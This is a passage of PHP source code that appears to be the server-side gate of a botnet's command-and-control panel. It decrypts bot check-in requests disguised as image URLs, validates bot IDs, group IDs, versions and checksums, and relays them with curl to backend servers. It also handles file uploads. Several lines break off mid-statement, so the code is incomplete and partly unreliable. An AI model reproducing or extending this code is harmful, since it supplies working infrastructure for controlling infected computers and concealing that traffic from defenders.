                    'file' => '@' . realpath($_FILES['upload_file']['tmp_name'])
                )
            );
        }
        curl_setopt($request, CURLOPT_RETURNTRANSFER, true);
        $result = curl_exec($request);
        curl_close($request);
        return $result;
    }

    public function decrypt_query_new() {

            $mathes=preg_replace('/.*\\/images\\//','',implode('/',$_REQUEST));
```

```
    $mathes=preg_replace('\'\\/[^\\/]*-[^\\/]*\\/\'', '', $mathes);
    $mathes= str_replace('.jpeg', '', $mathes);
    $mathes= str_replace('.gif', '', $mathes);
    $mathes= str_replace('.png', '', $mathes);
    $mathes= str_replace('.bmp', '', $mathes);

    $mathes= str_replace('/', '', $mathes);
    $mathes= str_replace('_2B', '+', $mathes);
    $mathes= str_replace('_2D', '-', $mathes);
    $mathes= str_replace(' ', '+', $mathes);
    $mathes= str_replace('_2F', '/', $mathes);

    $url = @mcrypt_decrypt(MCRYPT_SERPENT,$this->ekey, base64_decode($mathes), MCRYPT_MODE_CBC);
    if(!$url) { exit(); }
    parse_str($url, $_GET_TEMP);
   $_GET = array();
   $_GET = array_merge($_GET, $_GET_TEMP);
    if(count($_GET) < 2|| !$_GET['user']) {
        return false;
    }
    return true;


        }

public function decrypt_query() {
    foreach ($_GET as $key => $value) {
        $url = @mcrypt_decrypt(MCRYPT_SERPENT, $this->ekey, base64_decode(str_replace(' ', '+', $_GET[$key])), MCRYPT_MODE_
        parse_str($url, $_GET_TEMP);
        break;
    }
     $_GET = array();
    $_GET = array_merge($_GET, $_GET_TEMP);
    if(count($_GET) < 2|| !$_GET['user']) {
        return false;
    }
    return true;
}
public function debug ($mess) {
    if($this->debug) {
        $fp = fopen('debug.txt', 'a');
        fwrite($fp, $mess."\r\n");
        fclose($fp);
    }
}
public function testGUID (&$dt) {
    $return = '';
    $dt = strtoupper($dt);
    for ($i = 0; $i < strlen($dt); $i++) {
        if (preg_match("/^[A-F0-9]+$/i", $dt[$i]) != 0) {
            $return .= $dt[$i];
        }
    }
    $return = substr($return, -32);
    $len = strlen($return);
    for ($i = 32; $i > $len; $i--) {
        $return = '0' . $return;
    }
    $return = substr($return, 0, 8) . '-' . substr($return, 8, 4) . '-' . substr($return, 12, 4) . '-' . substr($return, 16
    $dt = $return;
    return true;
}
public function isGroup ($gid){
    $group = $this->query('action=get_group&gid='.$gid);
    if($group == "yes") {
        return true;
    }
    return false;
}
public function set_server () {
    $this->url = $this->url[$_GET['server']];
}
public function full_query ($type, $user, $id, $version, $agent, $ip, $crc,$soft=-1) {
    $result = $this->query('action='.$type.'&crc='.$crc.'&botid='.$user.'&gid='.$id.'&agent='.urlencode($agent).'&version='
    echo $result;
    return false;
```

```
    }
    public function check_parr () {
        if(isset($_GET['version'], $_GET['user'], $_GET['server'], $_GET['id'], $_GET['crc']) AND (is_numeric($_GET['version']))
            return true;
        }
        return false;
    }
    public function check_f_parr () {
        if(isset($_GET['version'], $_GET['user'], $_GET['server'], $_GET['id'], $_GET['type'], $_GET['name']) AND (is_numeric($
            return true;
        }
        return false;
    }
    public function set_parr ($file = false) {
        if(!$file) {
            $_GET['crc'] = strtoupper($_GET['crc']);
        }else{
            $_GET['type'] = (int)$_GET['type'];
        }
        $_GET['version'] = (int)$_GET['version'];
        $_GET['server'] = (int)$_GET['server'];
        $_GET['id'] = (int)$_GET['id'];
        $_GET['soft'] = (int)$_GET['soft'];
    }
    public function upload_protect ($fname) {
        $exp = explode('.', $fname);
        if(count($exp) > 2) {
            return false;
        }
        if (in_array($exp[1], array('php', 'cgi', 'pl', 'fcgi', 'fpl', 'phtml', 'php2', 'php3', 'php4', 'php5', 'aps', 'jsp')))
        if(strlen($exp[0]) < 1) {
            return false;
        }
        if($fname == '.htaccess') {
            return false;
        }
        return true;
    }
        public function api_test () {
            if($this->skey == $_GET['skey']) return true; else return false;
        }
}
```